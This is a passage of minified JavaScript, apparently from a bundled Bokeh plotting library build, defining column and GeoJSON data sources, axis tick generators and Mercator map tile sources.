a.ColumnsStreamedEvent(this.document,this.ref(),t,e);this.document._notify_change(this,\\\"data\\\",null,null,{setter_id:i,hint:o})}},l.prototype.patch=function(t,e){var i=this.data,n=new k.Set;for(var r in t){var o=t[r];n=n.union(p(i[r],o,this._shapes[r]))}if(this.setv({data:i},{silent:!0}),this.patching.emit(n.values),null!=this.document){var s=new a.ColumnsPatchedEvent(this.document,this.ref(),t);this.document._notify_change(this,\\\"data\\\",null,null,{setter_id:e,hint:s})}},l}(r.ColumnarDataSource);(i.ColumnDataSource=l).initClass()},function(t,e,i){var n=t(391),r=t(202),o=t(19),s=t(14),a=t(17),l=t(15),h=t(44),u=t(21),c=t(32),_=t(197),p=t(196),d=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.prototype.get_array=function(t){var e=this.data[t];return null==e?this.data[t]=e=[]:h.isArray(e)||(this.data[t]=e=Array.from(e)),e},t.initClass=function(){this.prototype.type=\\\"ColumnarDataSource\\\",this.define({selection_policy:[l.Instance,function(){return new p.UnionRenderers}]}),this.internal({selection_manager:[l.Instance,function(t){return new a.SelectionManager({source:t})}],inspected:[l.Instance,function(){return new _.Selection}],_shapes:[l.Any,{}]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._select=new o.Signal0(this,\\\"select\\\"),this.inspect=new o.Signal(this,\\\"inspect\\\"),this.streaming=new o.Signal0(this,\\\"streaming\\\"),this.patching=new o.Signal(this,\\\"patching\\\")},t.prototype.get_column=function(t){var e=this.data[t];return null!=e?e:null},t.prototype.columns=function(){return c.keys(this.data)},t.prototype.get_length=function(t){void 0===t&&(t=!0);var e=u.uniq(c.values(this.data).map(function(t){return t.length}));switch(e.length){case 0:return null;case 1:return e[0];default:var i=\\\"data source has columns of inconsistent lengths\\\";if(t)return s.logger.warn(i),e.sort()[0];throw new Error(i)}},t.prototype.get_indices=function(){var t=this.get_length();return u.range(0,null!=t?t:1)},t.prototype.clear=function(){for(var t={},e=0,i=this.columns();e<i.length;e++){var n=i[e];t[n]=new this.data[n].constructor}this.data=t},t}(r.DataSource);(i.ColumnarDataSource=d).initClass()},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(44),a=t(197),l=function(i){function t(t){return i.call(this,t)||this}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"DataSource\\\",this.define({selected:[o.Instance,function(){return new a.Selection}],callback:[o.Any]})},t.prototype.connect_signals=function(){var e=this;i.prototype.connect_signals.call(this),this.connect(this.properties.selected.change,function(){var t=e.callback;null!=t&&(s.isFunction(t)?t(e):t.execute(e))})},t}(r.Model);(i.DataSource=l).initClass()},function(t,e,i){var n=t(391),r=t(201),b=t(14),o=t(15),s=t(21),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GeoJSONDataSource\\\",this.define({geojson:[o.Any]}),this.internal({data:[o.Any,{}]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._update_data()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.properties.geojson.change,function(){return t._update_data()})},t.prototype._update_data=function(){this.data=this.geojson_to_column_data()},t.prototype._get_new_list_array=function(t){return s.range(0,t).map(function(t){return[]})},t.prototype._get_new_nan_array=function(t){return s.range(0,t).map(function(t){return NaN})},t.prototype._add_properties=function(t,e,i,n){var r=t.properties||{};for(var o in r)e.hasOwnProperty(o)||(e[o]=this._get_new_nan_array(n)),e[o][i]=r[o]},t.prototype._add_geometry=function(t,e,i){function n(t){return null!=t?t:NaN}function r(t,e){return t.concat([[NaN,NaN,NaN]]).concat(e)}switch(t.type){case\\\"Point\\\":var o=t.coordinates,s=o[0],a=o[1],l=o[2];e.x[i]=s,e.y[i]=a,e.z[i]=n(l);break;case\\\"LineString\\\":for(var h=t.coordinates,u=0;u<h.length;u++){var c=h[u],s=c[0],a=c[1],l=c[2];e.xs[i][u]=s,e.ys[i][u]=a,e.zs[i][u]=n(l)}break;case\\\"Polygon\\\":1<t.coordinates.length&&b.logger.warn(\\\"Bokeh does not support Polygons with holes in, only exterior ring used.\\\");for(var _=t.coordinates[0],u=0;u<_.length;u++){var p=_[u],s=p[0],a=p[1],l=p[2];e.xs[i][u]=s,e.ys[i][u]=a,e.zs[i][u]=n(l)}break;case\\\"MultiPoint\\\":b.logger.warn(\\\"MultiPoint not supported in Bokeh\\\");break;case\\\"MultiLineString\\\":for(var h=t.coordinates.reduce(r),u=0;u<h.length;u++){var d=h[u],s=d[0],a=d[1],l=d[2];e.xs[i][u]=s,e.ys[i][u]=a,e.zs[i][u]=n(l)}break;case\\\"MultiPolygon\\\":for(var f=[],v=0,m=t.coordinates;v<m.length;v++){var g=m[v];1<g.length&&b.logger.warn(\\\"Bokeh does not support Polygons with holes in, only exterior ring used.\\\"),f.push(g[0])}for(var h=f.reduce(r),u=0;u<h.length;u++){var y=h[u],s=y[0],a=y[1],l=y[2];e.xs[i][u]=s,e.ys[i][u]=a,e.zs[i][u]=n(l)}break;default:throw new Error(\\\"Invalid GeoJSON geometry type: \\\"+t.type)}},t.prototype.geojson_to_column_data=function(){var t,e=JSON.parse(this.geojson);switch(e.type){case\\\"GeometryCollection\\\":if(null==e.geometries)throw new Error(\\\"No geometries found in GeometryCollection\\\");if(0===e.geometries.length)throw new Error(\\\"geojson.geometries must have one or more items\\\");t=e.geometries;break;case\\\"FeatureCollection\\\":if(null==e.features)throw new Error(\\\"No features found in FeaturesCollection\\\");if(0==e.features.length)throw new Error(\\\"geojson.features must have one or more items\\\");t=e.features;break;default:throw new Error(\\\"Bokeh only supports type GeometryCollection and FeatureCollection at top level\\\")}for(var i=0,n=0,r=t;n<r.length;n++){var o=r[n],s=\\\"Feature\\\"===o.type?o.geometry:o;\\\"GeometryCollection\\\"==s.type?i+=s.geometries.length:i+=1}for(var a={x:this._get_new_nan_array(i),y:this._get_new_nan_array(i),z:this._get_new_nan_array(i),xs:this._get_new_list_array(i),ys:this._get_new_list_array(i),zs:this._get_new_list_array(i)},l=0,h=0,u=t;h<u.length;h++){var o=u[h],s=\\\"Feature\\\"==o.type?o.geometry:o;if(\\\"GeometryCollection\\\"==s.type)for(var c=0,_=s.geometries;c<_.length;c++){var p=_[c];this._add_geometry(p,a,l),\\\"Feature\\\"===o.type&&this._add_properties(o,a,l,i),l+=1}else this._add_geometry(s,a,l),\\\"Feature\\\"===o.type&&this._add_properties(o,a,l,i),l+=1}return a},t}(r.ColumnarDataSource);(i.GeoJSONDataSource=a).initClass()},function(t,e,i){var n=t(198);i.AjaxDataSource=n.AjaxDataSource;var r=t(200);i.ColumnDataSource=r.ColumnDataSource;var o=t(201);i.ColumnarDataSource=o.ColumnarDataSource;var s=t(199);i.CDSView=s.CDSView;var a=t(202);i.DataSource=a.DataSource;var l=t(203);i.GeoJSONDataSource=l.GeoJSONDataSource;var h=t(205);i.RemoteDataSource=h.RemoteDataSource},function(t,e,i){var n=t(391),r=t(200),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.prototype.get_column=function(t){var e=this.data[t];return null!=e?e:[]},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.setup()},t.initClass=function(){this.prototype.type=\\\"RemoteDataSource\\\",this.define({data_url:[o.String],polling_interval:[o.Number]})},t}(r.ColumnDataSource);(i.RemoteDataSource=s).initClass()},function(t,e,i){var n=t(391),r=t(210),o=t(15),v=t(21),s=function(i){function t(t){return i.call(this,t)||this}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"AdaptiveTicker\\\",this.define({base:[o.Number,10],mantissas:[o.Array,[1,2,5]],min_interval:[o.Number,0],max_interval:[o.Number]})},t.prototype.initialize=function(){i.prototype.initialize.call(this);var t=v.nth(this.mantissas,-1)/this.base,e=v.nth(this.mantissas,0)*this.base;this.extended_mantissas=[t].concat(this.mantissas,[e]),this.base_factor=0===this.get_min_interval()?1:this.get_min_interval()},t.prototype.get_interval=function(t,e,i){var n,r,o,s,a,l=e-t,h=this.get_ideal_interval(t,e,i),u=Math.floor((s=h/this.base_factor,void 0===(a=this.base)&&(a=Math.E),Math.log(s)/Math.log(a))),c=Math.pow(this.base,u)*this.base_factor,_=this.extended_mantissas,p=_.map(function(t){return Math.abs(i-l/(t*c))}),d=_[v.argmin(p)],f=d*c;return n=f,r=this.get_min_interval(),o=this.get_max_interval(),Math.max(r,Math.min(o,n))},t}(r.ContinuousTicker);(i.AdaptiveTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(206),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"BasicTicker\\\"},t}(r.AdaptiveTicker);(i.BasicTicker=o).initClass()},function(t,e,i){var n=t(391),r=t(219),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalTicker\\\"},t.prototype.get_ticks=function(t,e,i,n,r){var o=this._collect(i.factors,i,t,e),s=this._collect(i.tops||[],i,t,e),a=this._collect(i.mids||[],i,t,e);return{major:o,minor:[],tops:s,mids:a}},t.prototype._collect=function(t,e,i,n){for(var r=[],o=0,s=t;o<s.length;o++){var a=s[o],l=e.synthetic(a);i<l&&l<n&&r.push(a)}return r},t}(r.Ticker);(i.CategoricalTicker=o).initClass()},function(t,e,i){var n=t(391),r=t(210),o=t(15),c=t(21),_=t(32),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CompositeTicker\\\",this.define({tickers:[o.Array,[]]})},Object.defineProperty(t.prototype,\\\"min_intervals\\\",{get:function(){return this.tickers.map(function(t){return t.get_min_interval()})},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max_intervals\\\",{get:function(){return this.tickers.map(function(t){return t.get_max_interval()})},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"min_interval\\\",{get:function(){return this.min_intervals[0]},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max_interval\\\",{get:function(){return this.max_intervals[0]},enumerable:!0,configurable:!0}),t.prototype.get_best_ticker=function(t,e,i){var n,r=e-t,o=this.get_ideal_interval(t,e,i),s=[c.sortedIndex(this.min_intervals,o)-1,c.sortedIndex(this.max_intervals,o)],a=[this.min_intervals[s[0]],this.max_intervals[s[1]]],l=a.map(function(t){return Math.abs(i-r/t)});if(_.isEmpty(l.filter(function(t){return!isNaN(t)})))n=this.tickers[0];else{var h=c.argmin(l),u=s[h];n=this.tickers[u]}return n},t.prototype.get_interval=function(t,e,i){var n=this.get_best_ticker(t,e,i);return n.get_interval(t,e,i)},t.prototype.get_ticks_no_defaults=function(t,e,i,n){var r=this.get_best_ticker(t,e,n);return r.get_ticks_no_defaults(t,e,i,n)},t}(r.ContinuousTicker);(i.CompositeTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(219),o=t(15),x=t(21),w=t(44),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ContinuousTicker\\\",this.define({num_minor_ticks:[o.Number,5],desired_num_ticks:[o.Number,6]})},t.prototype.get_ticks=function(t,e,i,n,r){return this.get_ticks_no_defaults(t,e,n,this.desired_num_ticks)},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r=this.get_interval(e,i,n),o=Math.floor(e/r),s=Math.ceil(i/r),a=(w.isStrictNaN(o)||w.isStrictNaN(s)?[]:x.range(o,s+1)).map(function(t){return t*r}).filter(function(t){return e<=t&&t<=i}),l=this.num_minor_ticks,h=[];if(0<l&&0<a.length){for(var u=r/l,c=x.range(0,l).map(function(t){return t*u}),_=0,p=c.slice(1);_<p.length;_++){var d=p[_],f=a[0]-d;e<=f&&f<=i&&h.push(f)}for(var v=0,m=a;v<m.length;v++)for(var g=m[v],y=0,b=c;y<b.length;y++){var d=b[y],f=g+d;e<=f&&f<=i&&h.push(f)}}return{major:a,minor:h}},t.prototype.get_min_interval=function(){return this.min_interval},t.prototype.get_max_interval=function(){return null!=this.max_interval?this.max_interval:1/0},t.prototype.get_ideal_interval=function(t,e,i){var n=e-t;return n/i},t}(r.Ticker);(i.ContinuousTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(21),o=t(206),s=t(209),a=t(212),l=t(217),h=t(221),u=t(220),c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DatetimeTicker\\\",this.override({num_minor_ticks:0,tickers:function(){return[new o.AdaptiveTicker({mantissas:[1,2,5],base:10,min_interval:0,max_interval:500*u.ONE_MILLI,num_minor_ticks:0}),new o.AdaptiveTicker({mantissas:[1,2,5,10,15,20,30],base:60,min_interval:u.ONE_SECOND,max_interval:30*u.ONE_MINUTE,num_minor_ticks:0}),new o.AdaptiveTicker({mantissas:[1,2,4,6,8,12],base:24,min_interval:u.ONE_HOUR,max_interval:12*u.ONE_HOUR,num_minor_ticks:0}),new a.DaysTicker({days:r.range(1,32)}),new a.DaysTicker({days:r.range(1,31,3)}),new a.DaysTicker({days:[1,8,15,22]}),new a.DaysTicker({days:[1,15]}),new l.MonthsTicker({months:r.range(0,12,1)}),new l.MonthsTicker({months:r.range(0,12,2)}),new l.MonthsTicker({months:r.range(0,12,4)}),new l.MonthsTicker({months:r.range(0,12,6)}),new h.YearsTicker({})]}})},t}(s.CompositeTicker);(i.DatetimeTicker=c).initClass()},function(t,e,i){var n=t(391),r=t(218),u=t(220),o=t(15),c=t(21),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DaysTicker\\\",this.define({days:[o.Array,[]]}),this.override({num_minor_ticks:0})},t.prototype.initialize=function(){e.prototype.initialize.call(this);var t=this.days;1<t.length?this.interval=(t[1]-t[0])*u.ONE_DAY:this.interval=31*u.ONE_DAY},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r=function(t,e){var i=u.last_month_no_later_than(new Date(t)),n=u.last_month_no_later_than(new Date(e));n.setUTCMonth(n.getUTCMonth()+1);for(var r=[],o=i;r.push(u.copy_date(o)),o.setUTCMonth(o.getUTCMonth()+1),!(n<o););return r}(e,i),h=this.days,o=this.interval,s=c.concat(r.map(function(t){return function(t,e){for(var i=t.getUTCMonth(),n=[],r=0,o=h;r<o.length;r++){var s=o[r],a=u.copy_date(t);a.setUTCDate(s);var l=new Date(a.getTime()+e/2);l.getUTCMonth()==i&&n.push(a)}return n}(t,o)})),a=s.map(function(t){return t.getTime()}),l=a.filter(function(t){return e<=t&&t<=i});return{major:l,minor:[]}},t}(r.SingleIntervalTicker);(i.DaysTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(210),o=t(15),s=function(i){function t(t){var e=i.call(this,t)||this;return e.min_interval=0,e.max_interval=0,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"FixedTicker\\\",this.define({ticks:[o.Array,[]],minor_ticks:[o.Array,[]]})},t.prototype.get_ticks_no_defaults=function(t,e,i,n){return{major:this.ticks,minor:this.minor_ticks}},t.prototype.get_interval=function(t,e,i){return 0},t}(r.ContinuousTicker);(i.FixedTicker=s).initClass()},function(t,e,i){var n=t(206);i.AdaptiveTicker=n.AdaptiveTicker;var r=t(207);i.BasicTicker=r.BasicTicker;var o=t(208);i.CategoricalTicker=o.CategoricalTicker;var s=t(209);i.CompositeTicker=s.CompositeTicker;var a=t(210);i.ContinuousTicker=a.ContinuousTicker;var l=t(211);i.DatetimeTicker=l.DatetimeTicker;var h=t(212);i.DaysTicker=h.DaysTicker;var u=t(213);i.FixedTicker=u.FixedTicker;var c=t(215);i.LogTicker=c.LogTicker;var _=t(216);i.MercatorTicker=_.MercatorTicker;var p=t(217);i.MonthsTicker=p.MonthsTicker;var d=t(218);i.SingleIntervalTicker=d.SingleIntervalTicker;var f=t(219);i.Ticker=f.Ticker;var v=t(221);i.YearsTicker=v.YearsTicker},function(t,e,i){var n=t(391),r=t(206),N=t(21),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogTicker\\\",this.override({mantissas:[1,5]})},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r,o=this.num_minor_ticks,s=[],a=this.base,l=Math.log(e)/Math.log(a),h=Math.log(i)/Math.log(a),u=h-l;if(isFinite(u))if(u<2){var c=this.get_interval(e,i,n),_=Math.floor(e/c),p=Math.ceil(i/c);if(r=N.range(_,p+1).filter(function(t){return 0!=t}).map(function(t){return t*c}).filter(function(t){return e<=t&&t<=i}),0<o&&0<r.length){for(var d=c/o,f=N.range(0,o).map(function(t){return t*d}),v=0,m=f.slice(1);v<m.length;v++){var g=m[v];s.push(r[0]-g)}for(var y=0,b=r;y<b.length;y++)for(var x=b[y],w=0,k=f;w<k.length;w++){var g=k[w];s.push(x+g)}}}else{var S=Math.ceil(.999999*l),C=Math.floor(1.000001*h),T=Math.ceil((C-S)/9);if(r=N.range(S-1,C+1,T).map(function(t){return Math.pow(a,t)}),0<o&&0<r.length){for(var A=Math.pow(a,T)/o,f=N.range(1,o+1).map(function(t){return t*A}),E=0,M=f;E<M.length;E++){var g=M[E];s.push(r[0]/g)}s.push(r[0]);for(var O=0,z=r;O<z.length;O++)for(var x=z[O],P=0,j=f;P<j.length;P++){var g=j[P];s.push(x*g)}}}else r=[];return{major:r.filter(function(t){return e<=t&&t<=i}),minor:s.filter(function(t){return e<=t&&t<=i})}},t}(r.AdaptiveTicker);(i.LogTicker=o).initClass()},function(t,e,i){var n=t(391),r=t(207),o=t(15),M=t(33),s=function(E){function t(t){return E.call(this,t)||this}return n.__extends(t,E),t.initClass=function(){this.prototype.type=\\\"MercatorTicker\\\",this.define({dimension:[o.LatLon]})},t.prototype.get_ticks_no_defaults=function(t,e,i,n){var r,o,s,a,l,h,u,c;if(null==this.dimension)throw new Error(\\\"MercatorTicker.dimension not configured\\\");r=M.clip_mercator(t,e,this.dimension),t=r[0],e=r[1],\\\"lon\\\"===this.dimension?(o=M.wgs84_mercator.inverse([t,i]),h=o[0],c=o[1],s=M.wgs84_mercator.inverse([e,i]),u=s[0],c=s[1]):(a=M.wgs84_mercator.inverse([i,t]),c=a[0],h=a[1],l=M.wgs84_mercator.inverse([i,e]),c=l[0],u=l[1]);var _=E.prototype.get_ticks_no_defaults.call(this,h,u,i,n),p=[],d=[];if(\\\"lon\\\"===this.dimension){for(var f=0,v=_.major;f<v.length;f++){var m=v[f];if(M.in_bounds(m,\\\"lon\\\")){var g=M.wgs84_mercator.forward([m,c])[0];p.push(g)}}for(var y=0,b=_.minor;y<b.length;y++){var m=b[y];if(M.in_bounds(m,\\\"lon\\\")){var g=M.wgs84_mercator.forward([m,c])[0];d.push(g)}}}else{for(var x=0,w=_.major;x<w.length;x++){var m=w[x];if(M.in_bounds(m,\\\"lat\\\")){var k=M.wgs84_mercator.forward([c,m]),S=k[1];p.push(S)}}for(var C=0,T=_.minor;C<T.length;C++){var m=T[C];if(M.in_bounds(m,\\\"lat\\\")){var A=M.wgs84_mercator.forward([c,m]),S=A[1];d.push(S)}}}return{major:p,minor:d}},t}(r.BasicTicker);(i.MercatorTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(218),h=t(220),o=t(15),u=t(21),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MonthsTicker\\\",this.define({months:[o.Array,[]]})},t.prototype.initialize=function(){e.prototype.initialize.call(this);var t=this.months;1<t.length?this.interval=(t[1]-t[0])*h.ONE_MONTH:this.interval=12*h.ONE_MONTH},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r=function(t,e){var i=h.last_year_no_later_than(new Date(t)),n=h.last_year_no_later_than(new Date(e));n.setUTCFullYear(n.getUTCFullYear()+1);for(var r=[],o=i;r.push(h.copy_date(o)),o.setUTCFullYear(o.getUTCFullYear()+1),!(n<o););return r}(e,i),o=this.months,s=u.concat(r.map(function(i){return o.map(function(t){var e=h.copy_date(i);return e.setUTCMonth(t),e})})),a=s.map(function(t){return t.getTime()}),l=a.filter(function(t){return e<=t&&t<=i});return{major:l,minor:[]}},t}(r.SingleIntervalTicker);(i.MonthsTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(210),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"SingleIntervalTicker\\\",this.define({interval:[o.Number]})},t.prototype.get_interval=function(t,e,i){return this.interval},Object.defineProperty(t.prototype,\\\"min_interval\\\",{get:function(){return this.interval},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max_interval\\\",{get:function(){return this.interval},enumerable:!0,configurable:!0}),t}(r.ContinuousTicker);(i.SingleIntervalTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Ticker\\\"},t}(r.Model);(i.Ticker=o).initClass()},function(t,e,i){function n(t){return new Date(t.getTime())}function r(t){var e=n(t);return e.setUTCDate(1),e.setUTCHours(0),e.setUTCMinutes(0),e.setUTCSeconds(0),e.setUTCMilliseconds(0),e}i.ONE_MILLI=1,i.ONE_SECOND=1e3,i.ONE_MINUTE=60*i.ONE_SECOND,i.ONE_HOUR=60*i.ONE_MINUTE,i.ONE_DAY=24*i.ONE_HOUR,i.ONE_MONTH=30*i.ONE_DAY,i.ONE_YEAR=365*i.ONE_DAY,i.copy_date=n,i.last_month_no_later_than=r,i.last_year_no_later_than=function(t){var e=r(t);return e.setUTCMonth(0),e}},function(t,e,i){var n=t(391),r=t(207),o=t(218),h=t(220),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"YearsTicker\\\"},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.interval=h.ONE_YEAR,this.basic_ticker=new r.BasicTicker({num_minor_ticks:0})},t.prototype.get_ticks_no_defaults=function(e,i,t,n){var r=h.last_year_no_later_than(new Date(e)).getUTCFullYear(),o=h.last_year_no_later_than(new Date(i)).getUTCFullYear(),s=this.basic_ticker.get_ticks_no_defaults(r,o,t,n).major,a=s.map(function(t){return Date.UTC(t,0,1)}),l=a.filter(function(t){return e<=t&&t<=i});return{major:l,minor:[]}},t}(o.SingleIntervalTicker);(i.YearsTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(225),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"BBoxTileSource\\\",this.define({use_latlon:[o.Bool,!1]})},t.prototype.get_image_url=function(t,e,i){var n,r,o,s,a,l,h=this.string_lookup_replace(this.url,this.extra_url_vars);return this.use_latlon?(n=this.get_tile_geographic_bounds(t,e,i),s=n[0],l=n[1],o=n[2],a=n[3]):(r=this.get_tile_meter_bounds(t,e,i),s=r[0],l=r[1],o=r[2],a=r[3]),h.replace(\\\"{XMIN}\\\",s.toString()).replace(\\\"{YMIN}\\\",l.toString()).replace(\\\"{XMAX}\\\",o.toString()).replace(\\\"{YMAX}\\\",a.toString())},t}(r.MercatorTileSource);(i.BBoxTileSource=s).initClass()},function(t,e,i){var n=t(44),r=function(){function t(){this.images=[]}return t.prototype.pop=function(){var t=this.images.pop();return null!=t?t:new Image},t.prototype.push=function(t){var e;50<this.images.length||(n.isArray(t)?(e=this.images).push.apply(e,t):this.images.push(t))},t}();i.ImagePool=r},function(t,e,i){var n=t(222);i.BBoxTileSource=n.BBoxTileSource;var r=t(225);i.MercatorTileSource=r.MercatorTileSource;var o=t(226);i.QUADKEYTileSource=o.QUADKEYTileSource;var s=t(227);i.TileRenderer=s.TileRenderer;var a=t(228);i.TileSource=a.TileSource;var l=t(230);i.TMSTileSource=l.TMSTileSource;var h=t(231);i.WMTSTileSource=h.WMTSTileSource},function(t,e,i){var n=t(391),r=t(228),o=t(15),s=t(21),h=t(229),a=function(i){function t(t){return i.call(this,t)||this}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"MercatorTileSource\\\",this.define({snap_to_zoom:[o.Bool,!1],wrap_around:[o.Bool,!0]}),this.override({x_origin_offset:20037508.34,y_origin_offset:20037508.34,initial_resolution:156543.03392804097})},t.prototype.initialize=function(){var e=this;i.prototype.initialize.call(this),this._resolutions=s.range(this.min_zoom,this.max_zoom+1).map(function(t){return e.get_resolution(t)})},t.prototype._computed_initial_resolution=function(){return null!=this.initial_resolution?this.initial_resolution:2*Math.PI*6378137/this.tile_size},t.prototype.is_valid_tile=function(t,e,i){return!(!this.wrap_around&&(t<0||t>=Math.pow(2,i))||e<0||e>=Math.pow(2,i))},t.prototype.parent_by_tile_xyz=function(t,e,i){var n=this.tile_xyz_to_quadkey(t,e,i),r=n.substring(0,n.length-1);return this.quadkey_to_tile_xyz(r)},t.prototype.get_resolution=function(t){return this._computed_initial_resolution()/Math.pow(2,t)},t.prototype.get_resolution_by_extent=function(t,e,i){var n=(t[2]-t[0])/i,r=(t[3]-t[1])/e;return[n,r]},t.prototype.get_level_by_extent=function(t,e,i){for(var n=(t[2]-t[0])/i,r=(t[3]-t[1])/e,o=Math.max(n,r),s=0,a=0,l=this._resolutions;a<l.length;a++){var h=l[a];if(h<o){if(0==s)return 0;if(0<s)return s-1}s+=1}return s-1},t.prototype.get_closest_level_by_extent=function(t,e,i){var n=(t[2]-t[0])/i,r=(t[3]-t[1])/e,o=Math.max(n,r),s=this._resolutions.reduce(function(t,e){return Math.abs(e-o)<Math.abs(t-o)?e:t});return this._resolutions.indexOf(s)},t.prototype.snap_to_zoom_level=function(t,e,i,n){var r=t[0],o=t[1],s=t[2],a=t[3],l=this._resolutions[n],h=i*l,u=e*l;if(!this.snap_to_zoom){var c=(s-r)/h,_=(a-o)/u;_<c?(h=s-r,u*=c):(h*=_,u=a-o)}var p=(h-(s-r))/2,d=(u-(a-o))/2;return[r-p,o-d,s+p,a+d]},t.prototype.tms_to_wmts=function(t,e,i){\\\"Note this works both ways\\\";return[t,Math.pow(2,i)-1-e,i]},t.prototype.wmts_to_tms=function(t,e,i){\\\"Note this works both ways\\\";return[t,Math.pow(2,i)-1-e,i]},t.prototype.pixels_to_meters=function(t,e,i){var n=this.get_resolution(i),r=t*n-this.x_origin_offset,o=e*n-this.y_origin_offset;return[r,o]},t.prototype.meters_to_pixels=function(t,e,i){var n=this.get_resolution(i),r=(t+this.x_origin_offset)/n,o=(e+this.y_origin_offset)/n;return[r,o]},t.prototype.pixels_to_tile=function(t,e){var i=Math.ceil(t/this.tile_size);i=0===i?i:i-1;var n=Math.max(Math.ceil(e/this.tile_size)-1,0);return[i,n]},t.prototype.pixels_to_raster=function(t,e,i){var n=this.tile_size<<i;return[t,n-e]},t.prototype.meters_to_tile=function(t,e,i){var n=this.meters_to_pixels(t,e,i),r=n[0],o=n[1];return this.pixels_to_tile(r,o)},t.prototype.get_tile_meter_bounds=function(t,e,i){var n=this.pixels_to_meters(t*this.tile_size,e*this.tile_size,i),r=n[0],o=n[1],s=this.pixels_to_meters((t+1)*this.tile_size,(e+1)*this.tile_size,i),a=s[0],l=s[1];return[r,o,a,l]},t.prototype.get_tile_geographic_bounds=function(t,e,i){var n=this.get_tile_meter_bounds(t,e,i),r=h.meters_extent_to_geographic(n),o=r[0],s=r[1],a=r[2],l=r[3];return[o,s,a,l]},t.prototype.get_tiles_by_extent=function(t,e,i){void 0===i&&(i=1);var n=t[0],r=t[1],o=t[2],s=t[3],a=this.meters_to_tile(n,r,e),l=a[0],h=a[1],u=this.meters_to_tile(o,s,e),c=u[0],_=u[1];l-=i,h-=i,c+=i;for(var p=[],d=_+=i;h<=d;d--)for(var f=l;f<=c;f++)this.is_valid_tile(f,d,e)&&p.push([f,d,e,this.get_tile_meter_bounds(f,d,e)]);return this.sort_tiles_from_center(p,[l,h,c,_]),p},t.prototype.quadkey_to_tile_xyz=function(t){for(var e=0,i=0,n=t.length,r=n;0<r;r--){var o=t.charAt(n-r),s=1<<r-1;switch(o){case\\\"0\\\":continue;case\\\"1\\\":e|=s;break;case\\\"2\\\":i|=s;break;case\\\"3\\\":e|=s,i|=s;break;default:throw new TypeError(\\\"Invalid Quadkey: \\\"+t)}}return[e,i,n]},t.prototype.tile_xyz_to_quadkey=function(t,e,i){for(var n=\\\"\\\",r=i;0<r;r--){var o=1<<r-1,s=0;0!=(t&o)&&(s+=1),0!=(e&o)&&(s+=2),n+=s.toString()}return n},t.prototype.children_by_tile_xyz=function(t,e,i){for(var n=this.tile_xyz_to_quadkey(t,e,i),r=[],o=0;o<=3;o++){var s=this.quadkey_to_tile_xyz(n+o.toString()),a=s[0],l=s[1],h=s[2],u=this.get_tile_meter_bounds(a,l,h);r.push([a,l,h,u])}return r},t.prototype.get_closest_parent_by_tile_xyz=function(t,e,i){var n,r,o,s=this.calculate_world_x_by_tile_xyz(t,e,i);n=this.normalize_xyz(t,e,i),t=n[0],e=n[1],i=n[2];for(var a=this.tile_xyz_to_quadkey(t,e,i);0<a.length;)if(a=a.substring(0,a.length-1),r=this.quadkey_to_tile_xyz(a),t=r[0],e=r[1],i=r[2],o=this.denormalize_xyz(t,e,i,s),t=o[0],e=o[1],i=o[2],this.tile_xyz_to_key(t,e,i)in this.tiles)return[t,e,i];return[0,0,0]},t.prototype.normalize_xyz=function(t,e,i){if(this.wrap_around){var n=Math.pow(2,i);return[(t%n+n)%n,e,i]}return[t,e,i]},t.prototype.denormalize_xyz=function(t,e,i,n){return[t+n*Math.pow(2,i),e,i]},t.prototype.denormalize_meters=function(t,e,i,n){return[t+2*n*Math.PI*6378137,e]},t.prototype.calculate_world_x_by_tile_xyz=function(t,e,i){return 